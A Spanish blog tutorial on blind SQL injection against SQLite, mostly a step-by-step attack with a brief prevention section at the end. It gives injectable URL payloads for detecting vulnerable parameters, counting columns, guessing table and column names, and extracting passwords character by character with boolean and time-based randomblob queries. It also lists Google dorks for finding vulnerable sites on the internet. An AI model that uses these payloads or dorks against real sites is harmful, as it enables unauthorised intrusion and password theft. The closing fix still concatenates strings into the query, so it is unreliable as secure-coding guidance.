Inyección Blind SQL basada en SQLite y cómo evitarlo

por | 13 mayo, 2018

La SQL Blind injection es una técnica de ataque de inyección de código SQL que se basa en las respuesta de error de la página web ante determinadas entradas.

En general, los ataques de inyección de código en una web se basan en la falta de comprobación de los parámetros de entrada. Un parámetro de entrada es cualquier valor enviado desde el cliente al servidor web. Los parámetros habituales de entrada al servidor web son:

  • Campos de llamada GET pasados por la URL
  • Campos de formularios enviados por el método POST
  • Variables almacenadas en cookies
  • Valores de cabecera http
  • Parámetros de llamadas a funciones javascripts

La técnica de Blind Injection (inyección a ciegas) se basa en inyectar consulta SQL verdaderas o falsas y estudiar las respuestas o cambios de comportamiento en la página web. Este ataque es útil cuando la página web muestra errores genéricos o reacciona con un comportamiento diferente ante consultas SQL verdaderas o falsas.

En una inyección SQL estándar la base de datos genera algunas respuestas en la página web, por ejemplo mostrando el contenido de algún dato almacenado por pantalla. La inyección SQL Blind se utiliza principalmente cuando la base de datos no genera datos en la página web, es decir, no hay posibilidad de ver ninguno de los resultados. Es estos casos se realiza el ataque mediante preguntas verdadero/falso a la base de datos y se estudia la respuesta.

El escenario típico de un ataque Blind SQL Injection es en el que tenemos una web donde se introduce algún parámetro por url (método GET), por ejemplo:

www.localhost.com/frontpage.php?userID=0

Esta url implica normalmente una consulta a una base de datos similar a la siguiente:

SELECT <columna> FROM <tabla> WHERE userID=0

 

Si en lugar del «0» añadimos sentencias SQL que sean interpretables por el servidor, podremos intentar afinar las consultas para obtener información.

Podemos definir el ataque SQL Blind Injection en varias fases.

 

1. Averiguando si una web es vulnerable

El principio de detección es estudiar la respuesta al cambio en la url donde se lee una o más variables. Para ello hacemos dos tipos de inyección que se denominan ISQL0 y ISQL+.

ISQL0: Inyección SQL de cambio de comportamiento cero. Cadena que inyecta una cadena de consulta SQL que no realiza cambio en los resultados.

ISQL+: Inyección SQL de cambio de comportamiento positivo. Cadena SLQ que sí provoca cambios.

 

Por ejemplo si tenemos la url

http://localhost/frontpage.php?userID=1

el parámetro userID se utiliza normalmente para mantener la selección de ciertos datos entre páginas dentro de la web.

Así por ejemplo empezaremos a añadir un apóstrofe o dobles comillas al final y ver si se produce un mensaje de error:

http://localhost/frontpage.php?userID=1'

 

Si al añadir un apóstrofe al final devuelve un error, es probable que el parámetro sea inyectable y que el sitio web sea vulnerable. Por ejemplo:

Warning: SQLite3::query(): Unable to prepare statement: 1, near "''": syntax error in /opt/lampp/htdocs/frontpage.php on line  51
Invalid query

Vemos que además de dar un error ya nos está indicando qué tipo de motor de base de datos está ejecutando.

También intentaremos inyectar cadenas típicas par determinar la respuesta ante una condición verdadera o falsa:

http://localhost/frontpage.php?userID=1+1000-1000   (ISQL0)

http://localhost/frontpage.php?userID=1 and 1=1           (ISQL0)

http://localhost/frontpage.php?userID=1 or 1=2              (ISQL0)

http://localhost/frontpage.php?userID=1 ans 1=2           (ISQL+)

http://localhost/frontpage.php?userID=1 or 1=1             (ISQL+)

http://localhost/frontpage.php?userID=1+1                     (ISQL+)

 

Si al procesar la página con el valor sin inyectar y con ISQL0 nos devuelve la misma página sin ningún tipo de error, se podría inferir que el parámetro  está ejecutando los comandos y por lo tanto hay inyección SQL. Por otra parte si cunado inyectamos condiciones ISQL+ nos aparecen mensajes de error y no nos permite ver ningún dato, estamos ante el entorno ideal de vulnerabilidad a Blind SQL Injection-

 

2. Localizando webs vulnerables en Internet

Para localizar webs en Internet posiblemente vulnerables a la inyección SQL a ciegas, deberíamos buscar webs con una estructura de url del tipo …url/index.php?id=0 o similar en la que se lea alguna variable por url. Para esto se suele utilizar una técnica llamada Google Dorking. Un dork no es más que una búsqueda especializada en la que especificamos condiciones de búsqueda avanzadas.

Para realizar estas búsquedas avanzadas introducimos los «dorks» en una vantana de búsqueda de google. Estos dorks incluyen palabas clave que dicen dónde quiero buscar y cadenas entre comillas conde introducimos lo que queremos buscar

Para hacer una de estas búsquedas podemos hacer lo siguiente:

  1. Abrimos Google
  2. En la ventana de búsqueda podemos introducir algo como esto:

intitle:»index of» inurl:»root»  –> busca la cadena index of dentro del título y la palabra root dentro de la url.

site:com  –> busca en dominios .com exclusivamente

filetype:pdf «cadena»  –> busca ficheros pdf con la cadena especificada

filetypt:xls «passdowd» «login» –> busca ficheros xls que contengan la palabra password y login.

filetype:sql «# dumping data for table» «‘PASSWORD’ varchar» –> busca ficheros sql que incluyan la cadena entre comillas y dentro de esas tablas busca la palabra password (contraseña por defecto habitual si no se ha cambiado).

Algunos ejemplos de dosks típicos en la búsqueda de webs vulnerables a blind SQL Injection:

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num= andinurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=

Nota: Cuando Google detecta varias búsquedas de este tipo desde un mismo origen, presentará un captcha para asegurarse de que no se trata de búsquedas automatizadas desde un ordenador.

En este punto hay que decir que no deja de ser sorprendente la cantidad de webs vulnerables que se encuentran por este método.

 

3. Averiguando el número de columnas de la tabla

Una vez que sabemos que una web es vulnerable el siguiente paso lógico puede ser averiguar el número de columnas (campos) que tiene la tabla. Una manera es utilizar la sentencia ORDER. Por ejemplo:

http://localhost/frontpage.php?userID=1 order by 1 —

(Normalmente introduciremos los dos guiones — al final para indicar que todo lo que viene detrás es un comentario y no se ejecute.)

Continuamos aumemando el último número hasta que al intentar ordenar por la columna 5 aparece un error del tipo:

Warning: SQLite3::query(): Unable to prepare statement: 1, 1st ORDER BY term out of range - should be between 1 and 4 in /opt/lampp/htdocs/frontpage.php on line 51
Invalid query

El número de columnas de la tabla es el mayor número que podemos obtener sin recibir ningún error. Por lo que en este ejemplo vemos que la tabla tiene 4 columnas.

4. Averigurar las columnas que aceptan consultas

Para hacer esto nos valemos de la sentencia SQL “Union Select”. Un ejemplo puede ser el siguiente:

http://localhost/frontpage.php?userID=-1+union+select+1,2,3,4--

Los resultados de esta consulta corresponderán a los números de columna que aceptan consultas. Se puede elegir cualquiera de estas columnas para inyectar  sentencias SQL.

Nota: Al utilizar signos + en vez de espacios hacemos la url más comprensible para seguir modificÁndola. Si no lo hacemos, no pasa nada, pero en la url aparecerán caracteres especiales en lugar de espacios. La codificación de URL se usa para introducir textos en una cadena de consulta para evitar que el navegador la confunda con el mismo enlace. Normalmente se usa es url con GET cuando se envían datos de formularios al servidor web.

 

5. Averiguando el nombre de la tabla

Una manera es mediante fuerza bruta usando los nombres clásicos que se suelen utilizar para las tablas.

Ejemplo:

http://localhost/frontpage.php?userID=-230+union+select+1,2,3,4 FROM USUARIOS;– – >>>>> hay fallo no se llama USUARIOS

http://localhost/frontpage.php?userID=-230+union+select+1,2,3,4 FROM USERS;– – >>>>>> sin fallo, se llama USERS

 

6. Averiguando el nombre de las columnas

Se puede hacer de una forma similar a como hemos hecho con el nombre de la tabla. Probamos nombres posibles típicos de columnas y verificamos si se muestra error en la consulta.

Ejemplo:

http://localhost/frontpage.php?userID=1 and (SELECT passwd from USERS)=1; — >>>>> error «no such column»

http://localhost/frontpage.php?userID=1 and (SELECT password from USERS)=1; — >>>>> no provoca cambios ni error luego existe la columna password!!

 

7. Averiguando los usuarios con password más corta

Para intentar atacar una password es mejor hacerlo con las password más cortas. Para ello podemos hacer una ataque de tipo «time based» y es un tipo de técnica fundamental en webs que no dan resultado alguno por pantalla. El ataque time-based consiste en introducir una condición con alguna instrucción de SQL que produzca un retardo en la carga de la página. Cuando se produce el retardo significa que la condición introducida en la sentencia SQL es cierta.

En SQLite se puede utilizar la expresión  AND 1=randomblob(1000000000) para introducir el retardo condiciona

Ejemplo:

http://localhost/frontpage.php?userID=2 and (length(password)=4 AND 1=randomblob(1000000000));– –

si el userID=2 tiene un password de longitud 4 la página tardará en cargar, en caso contrario cargará rápidamente.

 

7. Extrayendo la password.

Una vez que conocemos el usuario y la longitud de la password podríamos hacer ataques de fuerza bruta buscando la password.
Si suponemos que la longitud de la password es de 4 caracteres y que sólo se permiten números por ejemplo, tendíamos que sondear como
máximo 10x10x10x10 = 10000 combinaciones posibles. Evidentemente esto lo haremos con herramientas automáticas.

 

Otra maneraes averiguar caracter a caracter mediante la función substing y ASCII

La lógina de la consulta es:

ascii(substring((consulta),caracter,hastadondellegar))

Numero – ASCII
0 = 48
1 = 49
2 = 50
3 = 51
4 = 52
5 = 53
6 = 54
7 = 55
8 = 56
9 = 57

así por ejmeplo podríamos consultar si el primer carácter ASCII de la password es 48 (número 0) para el userID=2

para sqlite:

http://localhost/frontpage.php?userID=2 AND UNICODE(SUBSTR((SELECT password FROM users where userID=2),1,1))=48;– –

(para mysql: http://www.securitybydefault.com/blind/sqli.php?id=1337 AND ASCII(SUBSTRING((SELECT pass_usr FROM users where id_usr=1),1,1))=49# )

 

Si con este tipo de inyección no se obtiene diferenia de comportamiento en la página tendremos que hacer el mismo ataque pero time-based:

http://localhost/frontpage.php?userID=2 AND (UNICODE(SUBSTR((SELECT password FROM users where userID=2),1,1))=48) AND (1=randomblob(1000000000));– –

http://localhost/frontpage.php?userID=2 AND (UNICODE(SUBSTR((SELECT password FROM users where userID=2),1,1))=49) AND (1=randomblob(1000000000));– –

http://localhost/frontpage.php?userID=2 AND (UNICODE(SUBSTR((SELECT password FROM users where userID=2),2,1))=48) AND (1=randomblob(1000000000));– –

En este ejemplo vamos probando carácter a carácter hexadecimal para cada cada posición de la password hasta que averiguamos la misma.

 

8. Cómo evitar los ataques de tipo Blind SQL Injection

Además de las variables que aparecen en url estén filtradas (escapadas mediante filtros específicos) el principal problema es que no se hace una comprobación de tipo. Las bariablas en url como ID, userID,etc.. deben ser numéricas y se debe verificar el tipo antes de ejecutarlas en la consulta. Por ejemplo para una página PHP un una variable userID es tan sencillo como:

$userID_2 = (isset($_GET['userID'])) ? (int) $_GET['userID'] : 0;
$userID = SQLite3::escapeString($userID_2);
$query = "SELECT * FROM USERS WHERE userID = " . $userID . ";";

 

 

 

 

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *